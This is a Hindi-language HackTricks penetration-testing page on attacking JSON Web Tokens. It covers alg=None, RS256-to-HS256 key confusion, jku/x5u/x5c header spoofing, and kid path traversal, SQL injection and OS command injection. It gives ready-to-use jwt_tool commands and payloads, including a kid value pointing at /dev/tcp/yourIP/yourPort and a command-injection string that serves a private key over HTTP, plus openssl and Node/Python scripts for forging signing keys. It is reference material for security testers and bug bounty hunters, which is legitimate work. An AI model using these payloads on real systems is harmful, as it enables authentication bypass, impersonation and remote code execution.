hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md

32 KiB
Raw Blame History

JWT कमजोरियाँ (Json Web Tokens)

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Bug bounty tip: Intigriti के लिए साइन अप करें, एक प्रीमियम bug bounty platform जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है! आज ही हमसे जुड़ें https://go.intigriti.com/hacktricks पर, और $100,000 तक के बाउंटीज कमाना शुरू करें!

{% embed url="https://go.intigriti.com/hacktricks" %}

इस पोस्ट का एक हिस्सा यहाँ से लिया गया है: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWTs को पेंटेस्ट करने के लिए बनाए गए शानदार टूल के लेखक https://github.com/ticarpi/jwt_tool

त्वरित जीत

jwt_tool को All Tests! मोड के साथ चलाएं और हरे रंग की लाइनों का इंतजार करें

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

यदि आप भाग्यशाली हैं, तो उपकरण कुछ ऐसे मामले खोज निकालेगा जहां वेब एप्लिकेशन JWT की जांच गलत तरीके से कर रहा है:

फिर, आप अपने प्रॉक्सी में उस अनुरोध को खोज सकते हैं या उस अनुरोध के लिए प्रयुक्त JWT को jwt_ tool का उपयोग करके डंप कर सकते हैं:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

डेटा को बिना कुछ बदले तोड़-मरोड़ें

आप डेटा के साथ छेड़छाड़ कर सकते हैं और हस्ताक्षर को जैसा है वैसा ही छोड़ सकते हैं और जांचें कि क्या सर्वर हस्ताक्षर की जांच कर रहा है। उदाहरण के लिए अपने उपयोगकर्ता नाम को "admin" में बदलने का प्रयास करें।

क्या टोकन की जांच की जा रही है?

  • यदि कोई त्रुटि संदेश आता है तो हस्ताक्षर की जांच की जा रही है - किसी भी विस्तृत त्रुटि जानकारी को पढ़ें जो कुछ संवेदनशील जानकारी लीक कर सकती है।
  • यदि वापस आने वाला पृष्ठ अलग है तो हस्ताक्षर की जांच की जा रही है।
  • यदि पृष्ठ वही है तो हस्ताक्षर की जांच नहीं की जा रही है - Payload claims के साथ छेड़छाड़ करने का समय है देखने के लिए कि आप क्या कर सकते हैं!

मूल

अपने प्रॉक्सी के अनुरोध इतिहास में जांचें कि टोकन कहां से आया है। इसे सर्वर पर बनाया जाना चाहिए, क्लाइंट पर नहीं।

  • यदि यह पहली बार क्लाइंट-साइड से आता दिखाई दिया तो कुंजी क्लाइंट-साइड कोड के लिए सुलभ है - इसे खोजें!
  • यदि यह पहली बार सर्वर से आता दिखाई दिया तो सब ठीक है।

अवधि

जांचें कि क्या टोकन 24h से अधिक समय तक चलता है... शायद यह कभी समाप्त नहीं होता। यदि "exp" फ़ील्ड है, तो जांचें कि क्या सर्वर इसे सही ढंग से संभाल रहा है।

HMAC सीक्रेट को ब्रूट-फोर्स करें

इस पृष्ठ को देखें।

एल्गोरिदम को None में बदलें (CVE-2015-9235)

उपयोग किए जाने वाले एल्गोरिदम को "None" पर सेट करें और हस्ताक्षर भाग को हटा दें।

इस कमजोरी को आजमाने और JWT के अंदर विभिन्न मानों को बदलने के लिए "JSON Web Token" कहने वाले Burp एक्सटेंशन का उपयोग करें (अनुरोध को Repeater में भेजें और "JSON Web Token" टैब में आप टोकन के मानों को संशोधित कर सकते हैं। आप "Alg" फ़ील्ड के मान को "None" पर रखने का चयन भी कर सकते हैं)।

एल्गोरिदम RS256(असममित) को HS256(सममित) में बदलें (CVE-2016-5431/CVE-2016-10555)

HS256 एल्गोरिदम प्रत्येक संदेश को हस्ताक्षर करने और सत्यापित करने के लिए गुप्त कुंजी का उपयोग करता है।
RS256 एल्गोरिदम संदेश को हस्ताक्षर करने के लिए निजी कुंजी का उपयोग करता है और प्रमाणीकरण के लिए सार्वजनिक कुंजी का उपयोग करता है।

यदि आप एल्गोरिदम को RS256 से HS256 में बदलते हैं, तो बैक एंड कोड सार्वजनिक कुंजी को गुप्त कुंजी के रूप में उपयोग करता है और फिर HS256 एल्गोरिदम का उपयोग करके हस्ताक्षर को सत्यापित करता है।

फिर, सार्वजनिक कुंजी का उपयोग करते हुए और RS256 को HS256 में बदलकर हम एक वैध हस्ताक्षर बना सकते हैं। आप वेब सर्वर का प्रमाणपत्र इसे निष्पादित करके प्राप्त कर सकते हैं:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

हेडर में नई सार्वजनिक कुंजी

एक हमलावर टोकन के हेडर में एक नई कुंजी जोड़ता है और सर्वर इस नई कुंजी का उपयोग हस्ताक्षर की पुष्टि के लिए करता है (CVE-2018-0114)।

यह "JSON Web Tokens" Burp एक्सटेंशन के साथ किया जा सकता है।
(अनुरोध को Repeater में भेजें, JSON Web Token टैब के अंदर "CVE-2018-0114" का चयन करें और अनुरोध भेजें)।

JWKS Spoofing

यदि टोकन में “jku” हेडर दावा होता है, तो प्रदान किए गए URL की जांच करें। इसे एक URL पर संकेत करना चाहिए जिसमें JWKS फ़ाइल होती है जो टोकन की पुष्टि के लिए सार्वजनिक कुंजी रखती है। टोकन को ताकि jku मान आपके द्वारा मॉनिटर किए जा सकने वाले वेब सेवा की ओर संकेत करे।

यदि आपको HTTP इंटरैक्शन मिलता है, तो अब आप जानते हैं कि सर्वर आपके द्वारा प्रदान किए गए URL से कुंजियों को लोड करने की कोशिश कर रहा है। jwt_tool के -S फ्लैग का उपयोग करें और -u http://example.com तर्क के साथ एक नई कुंजी जोड़ी उत्पन्न करें, अपना प्रदान किया गया URL इंजेक्ट करें, एक JWKS उत्पन्न करें जिसमें सार्वजनिक कुंजी हो, और निजी कुंजी के साथ टोकन पर हस्ताक्षर करें

Kid मुद्दे

kid एक वैकल्पिक हेडर दावा है जो एक कुंजी पहचानकर्ता रखता है, विशेष रूप से तब उपयोगी होता है जब आपके पास टोकन पर हस्ताक्षर करने के लिए कई कुंजियाँ होती हैं और आपको हस्ताक्षर की पुष्टि के लिए सही एक को खोजने की आवश्यकता होती है।

"kid" मुद्दे - कुंजी प्रकट करें

यदि हेडर में "kid" दावा का उपयोग किया जाता है, तो उस फ़ाइल या उसके विविधता के लिए वेब निर्देशिका की जांच करें। उदाहरण के लिए यदि "kid":"key/12345" तो वेब रूट पर /key/12345 और /key/12345.pem की खोज करें।

"kid" मुद्दे - पथ प्रवेश

यदि हेडर में "kid" दावा का उपयोग किया जाता है, तो जांचें कि क्या आप फ़ाइल सिस्टम में एक अलग फ़ाइल का उपयोग कर सकते हैं। एक ऐसी फ़ाइल चुनें जिसकी सामग्री का आप अनुमान लगा सकते हों, या शायद "kid":"/dev/tcp/yourIP/yourPort" का प्रयास करें कनेक्टिविटी की जांच के लिए, या कुछ SSRF पेलोड्स...
jwt_tool के -T फ्लैग का उपयोग करके JWT को ताम्पर करें और kid दावे के मूल्य को बदलें, फिर मूल हस्ताक्षर को बनाए रखने का चयन करें

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

"kid" मुद्दे - SQL इंजेक्शन

जब "kid" की सामग्री का उपयोग डेटाबेस से पासवर्ड प्राप्त करने के लिए किया जाता है, तो आप "kid" पैरामीटर के अंदर पेलोड को बदल सकते हैं: non-existent-index' UNION SELECT 'ATTACKER';-- - और फिर JWT को ATTACKER सीक्रेट की के साथ साइन करें।

"kid" मुद्दे - OS इंजेक्शन

जब "kid" पैरामीटर में की के साथ फाइल का पथ होता है और इस पथ का उपयोग कमांड के अंदर निष्पादित किया जा रहा हो, तो आप RCE प्राप्त कर सकते हैं और निम्नलिखित पेलोड के साथ प्राइवेट की को उजागर कर सकते हैं: /root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

विविध हमले

निम्नलिखित ज्ञात कमजोरियां हैं जिनका परीक्षण किया जाना चाहिए।

क्रॉस-सर्विस रिले हमले

कुछ वेब एप्लिकेशन एक विश्वसनीय JWT 'सेवा' का उपयोग करते हैं जो उनके लिए टोकन उत्पन्न करती है और प्रबंधित करती है। अतीत में कुछ उदाहरण हुए हैं जहां एक JWT सेवा के ग्राहकों के लिए उत्पन्न टोकन वास्तव में उसी JWT सेवा के अन्य ग्राहकों द्वारा स्वीकार किया जा सकता है।
यदि आप देखते हैं कि JWT किसी तृतीय-पक्ष सेवा के माध्यम से जारी या नवीनीकृत हो रहा है, तो यह जांचने लायक है कि क्या आप उसी सेवा के अन्य ग्राहकों पर अपने समान उपयोगकर्ता नाम/ईमेल के साथ एक खाता बना सकते हैं। यदि हां, तो उस टोकन को लेकर अपने लक्ष्य को अनुरोध में पुनः प्रयोग करने का प्रयास करें। क्या यह स्वीकार किया जाता है?

  • यदि आपका टोकन स्वीकार किया जाता है, तो आपके पास किसी भी उपयोगकर्ता के खाते को नकली बनाने की एक गंभीर समस्या हो सकती है। हालांकि, ध्यान रखें कि यदि आप किसी तृतीय-पक्ष एप्लिकेशन पर साइन अप कर रहे हैं तो आपको व्यापक परीक्षण अनुमतियों के लिए अनुमति मांगने की आवश्यकता हो सकती है, क्योंकि यह कानूनी धुंधले क्षेत्र में प्रवेश कर सकता है!

क्या exp की जांच की जाती है?

"exp" पेलोड दावा का उपयोग टोकन की समाप्ति की जांच के लिए किया जाता है। चूंकि JWTs अक्सर सत्र जानकारी के अभाव में उपयोग किए जाते हैं, इसलिए उन्हें सावधानी से संभालने की जरूरत होती है - कई मामलों में किसी और के JWT को कैप्चर करना और पुनः प्रयोग करना आपको उस उपयोगकर्ता के रूप में प्रच्छन्न करने की अनुमति देगा।
JWT पुनः प्रयोग हमलों के खिलाफ एक उपाय (जिसे JWT RFC द्वारा सलाह दी गई है) "exp" दावे का उपयोग करके टोकन के लिए एक समाप्ति समय सेट करना है। यह भी महत्वपूर्ण है कि एप्लिकेशन में संबंधित जांचें स्थापित की जाएं ताकि यह सुनिश्चित किया जा सके कि यह मूल्य संसाधित हो और टोकन को अस्वीकार किया जाए जहां यह समाप्त हो गया है। यदि टोकन में "exp" दावा होता है और परीक्षण समय सीमाएं इसकी अनुमति देती हैं - टोकन को स्टोर करने और समाप्ति समय के बाद इसे पुनः प्रयोग करने का प्रयास करें। jwt_tool के -R फ्लैग का उपयोग करें टोकन की सामग्री को पढ़ने के लिए, जिसमें टाइमस्टैम्प पार्सिंग और समाप्ति जांच शामिल है (टाइमस्टैम्प UTC में)

  • यदि टोकन अभी भी एप्लिकेशन में मान्य होता है, तो यह एक सुरक्षा जोखिम हो सकता है क्योंकि टोकन कभी भी समाप्त नहीं हो सकता है।

x5u और jku

jku

jku का मतलब है JWK Set URL
यदि टोकन "jku" Header दावे का उपयोग करता है, तो प्रदान किए गए URL की जांच करें। यह एक URL की ओर इशारा करना चाहिए जिसमें JWKS फाइल होती है जो टोकन को सत्यापित करने के लिए पब्लिक की रखती है। टोकन को तोड़कर jku मान को आप जिस वेब सेवा के लिए ट्रैफिक की निगरानी कर सकते हैं उसकी ओर इशारा करें।

पहले आपको नए प्राइवेट और पब्लिक कीज़ के साथ एक नया सर्टिफिकेट बनाने की जरूरत है

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

तब आप jwt.io का उपयोग करके नया JWT बना सकते हैं बनाए गए सार्वजनिक और निजी कुंजियों के साथ और पैरामीटर jku को बनाई गई प्रमाणपत्र की ओर इंगित करते हुए। एक मान्य jku प्रमाणपत्र बनाने के लिए आप मूल प्रमाणपत्र को डाउनलोड कर सकते हैं और आवश्यक पैरामीटर्स में परिवर्तन कर सकते हैं।

आप एक सार्वजनिक प्रमाणपत्र से पैरामीटर्स "e" और "n" प्राप्त कर सकते हैं इसका उपयोग करके:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL. एक URI जो PEM प्रारूप में एन्कोडेड X.509 (एक प्रमाणपत्र प्रारूप मानक) सार्वजनिक प्रमाणपत्रों के एक सेट की ओर इशारा करता है। सेट में पहला प्रमाणपत्र वह होना चाहिए जिसका उपयोग इस JWT को हस्ताक्षर करने के लिए किया गया है। बाद के प्रमाणपत्र प्रत्येक पिछले वाले को हस्ताक्षर करते हैं, इस प्रकार प्रमाणपत्र श्रृंखला को पूरा करते हैं। X.509 को RFC 52807 में परिभाषित किया गया है। प्रमाणपत्रों के स्थानांतरण के लिए परिवहन सुरक्षा आवश्यक है।

इस हेडर को अपने नियंत्रण में एक URL में बदलने का प्रयास करें और जांचें कि क्या कोई अनुरोध प्राप्त होता है। इस मामले में आप JWT को बदल सकते हैं

आपके द्वारा नियंत्रित एक प्रमाणपत्र का उपयोग करके एक नया टोकन बनाने के लिए, आपको प्रमाणपत्र बनाने और सार्वजनिक और निजी कुंजियों को निकालने की आवश्यकता है:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

तब आप उदाहरण के लिए jwt.io का उपयोग करके नया JWT बना सकते हैं बनाए गए सार्वजनिक और निजी कुंजियों के साथ और पैरामीटर x5u को बनाई गई .crt प्रमाणपत्र की ओर इंगित करते हुए।

आप इन दोनों दोषों का उपयोग SSRFs के लिए भी कर सकते हैं।

x5c

इस पैरामीटर में base64 में प्रमाणपत्र हो सकता है:

यदि हमलावर एक स्व-हस्ताक्षरित प्रमाणपत्र उत्पन्न करता है और संबंधित निजी कुंजी का उपयोग करके एक जाली टोकन बनाता है और "x5c" पैरामीटर के मूल्य को नव उत्पन्न प्रमाणपत्र के साथ बदल देता है और अन्य पैरामीटरों, अर्थात् n, e और x5t को संशोधित करता है, तो मूल रूप से जाली टोकन को सर्वर द्वारा स्वीकार कर लिया जाएगा।

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

एम्बेडेड पब्लिक की (CVE-2018-0114)

यदि JWT में निम्नलिखित परिदृश्य की तरह एक पब्लिक की एम्बेडेड है:

निम्नलिखित nodejs स्क्रिप्ट का उपयोग करके उस डेटा से एक पब्लिक की जनरेट की जा सकती है:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

नई निजी/सार्वजनिक कुंजी उत्पन्न करना संभव है, टोकन के अंदर नई सार्वजनिक कुंजी को सम्मिलित करें और इसका उपयोग नए हस्ताक्षर उत्पन्न करने के लिए करें:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

आप इस nodejs स्क्रिप्ट का उपयोग करके "n" और "e" प्राप्त कर सकते हैं:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

JTI (JWT ID)

JTI (JWT ID) दावा एक JWT टोकन के लिए एक अद्वितीय पहचानकर्ता प्रदान करता है। इसका उपयोग टोकन को पुनः चलाने से रोकने के लिए किया जा सकता है।
हालांकि, एक परिस्थिति की कल्पना करें जहां ID की अधिकतम लंबाई 4 है (0001-9999)। अनुरोध 0001 और 10001 एक ही ID का उपयोग करेंगे। इसलिए यदि बैकएंड प्रत्येक अनुरोध पर ID बढ़ा रहा है तो आप इसका दुरुपयोग करके एक अनुरोध को पुनः चला सकते हैं (प्रत्येक सफल पुनः चलाने के बीच 10000 अनुरोध भेजने की आवश्यकता होगी)।

JWT पंजीकृत दावे

{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}

उपकरण

{% embed url="https://github.com/ticarpi/jwt_tool" %}


बग बाउंटी टिप: Intigriti के लिए साइन अप करें, एक प्रीमियम बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है! आज ही https://go.intigriti.com/hacktricks पर हमसे जुड़ें, और $100,000 तक की बाउंटी कमाना शुरू करें!

{% embed url="https://go.intigriti.com/hacktricks" %}

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके: